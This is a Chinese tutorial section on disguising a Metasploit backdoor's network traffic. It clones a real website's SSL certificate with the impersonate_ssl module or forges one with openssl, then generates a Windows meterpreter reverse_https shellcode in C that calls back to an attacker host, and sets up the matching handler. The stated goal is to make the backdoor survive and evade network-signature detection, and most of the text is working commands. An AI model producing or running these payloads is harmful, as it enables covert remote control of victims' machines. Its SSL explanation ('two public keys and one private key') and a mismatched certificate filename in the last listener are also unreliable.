在本节中,我们将介绍如何通过使用Metasploit
生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit
生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode,使得网络特征得到隐藏,从而提高后门的生存能力和抵抗网络特征分析的能力。
ShellCode 网络特征加密我们采用的是SSL(Secure Sockets Layer),现已被替换为TLS(Transport Layer Security),SSL是一种用于在Web上传输数据的安全协议。它的主要目的是确保在互联网上传输的数据在传递过程中不会被第三方窃取或篡改。SSL加密的原理是通过两个公钥和一个私钥来加密数据。公钥用于加密数据,私钥用于解密数据。在传输过程中,发送者使用接收者的公钥对数据进行加密,接收者使用自己的私钥对数据进行解密。这样,即使在网络上被窃取,数据也无法被第三方解密,从而保证了数据的安全性。
通常,SSL证书由以下几部分组成:
- 证书主体:证明证书拥有者的信息,如域名、组织名称等。
- 公钥:用于加密数据的公钥。
- 私钥:用于解密数据的私钥,需要在安全的环境中保存。
- 签名:证明证书内容是由可信任的证书颁发机构签发的。
- 有效期:证明证书的有效期,在该期限内有效。
- 颁发者:证明证书的颁发者,如VeriSign、GoDaddy等。
1.3.1 通过MSF模块克隆证书
要想实现加密通常我们需要获取一个专属的证书文件,获取证书的方式有两种,第一种方式是通过Impersonate_SSL
模块,对已有证书进行下载操作,如下命令实现了将www.lyshark.com
网站中的证书下载到本地的功能,
msf6 > use auxiliary/gather/impersonate_ssl
msf6 > set rhost www.lyshark.com
msf6 > run
当读者执行命令后,则该证书将被下载到home/lyshark/.msf4/loot/
目录下,其中包含了证书的key,crt,pem
等文件,输出如下图所示;
当具备了克隆证书后,读者可在Metasploit
中交互式执行如下命令实现生成带有加密功能的ShellCode
代码,如下代码中通过HANDLERSSLCERT
指定证书位置,并通过generate
生成C语言版ShellCode代码。
msf6 > use payload/windows/meterpreter/reverse_https
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set LHOST 192.168.9.135
msf6 > set lport 8443
msf6 > generate -f c
而对于服务端来说,在传递参数时,读者同样需要在HANDLERSSLCERT
中传递私有证书,
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set LPORT 8443
msf6 > set LHOST 192.168.140.128
msf6 > run -j
1.3.2 通过OpenSSL制作证书
当然读者也可用通过kali
系统内自带的openssl
命令生成一个新的伪造证书,OpenSSL是一个开源的安全工具,用于实现SSL/TLS
协议。它提供了一系列命令行工具,可以用于生成证书、加密数据、解密数据等操作。
首先使用第一种方式生成,下面是各个参数的详细解释:
- req:指定生成证书请求。
- new:指定生成一个新的证书请求。
- newkey rsa:4096:指定生成的证书的密钥长度为4096位。
- days 365:指定证书的有效期为365天。
- nodes:指定不加密私钥。
- x509:指定生成的证书类型为X.509证书。
- subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定证书主题信息,其中C=UK代表国家,ST=London代表省份,L=London代表城市,O=Development代表组织,CN=www.lyshark.com代表通用名称。
- keyout www.lyshark.com.key:指定输出的私钥文件名。
- out www.lyshark.com.crt:指定输出的证书文件名。
通过这条命令,可以生成一个有效期为365天,密钥长度为4096位的X.509证书,证书主题信息为"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私钥文件名为www.lyshark.com.key,证书文件名为www.lyshark.com.crt。
┌──(lyshark㉿kali)-[~/lyshark]
└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
-keyout www.lyshark.com.key -out www.lyshark.com.crt
┌──(lyshark㉿kali)-[~/lyshark]
└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem
接着读者可执行msfvenom
命令通过非交互方式生成一段加密版的ShellCode代码片段。
┌──(lyshark㉿kali)-[~/lyshark]
└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/test/www.lyshark.com.pem \
StagerVerifySSLCert=true -f c -o /root/test.c
服务端启用侦听模式,并通过HandlerSSLCert
传入同样的证书私钥即可。
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set LHOST 192.168.9.135
msf6 > set LPORT 8443
msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
msf6 > set StagerVerifySSLCert true
msf6 > exploit -j -z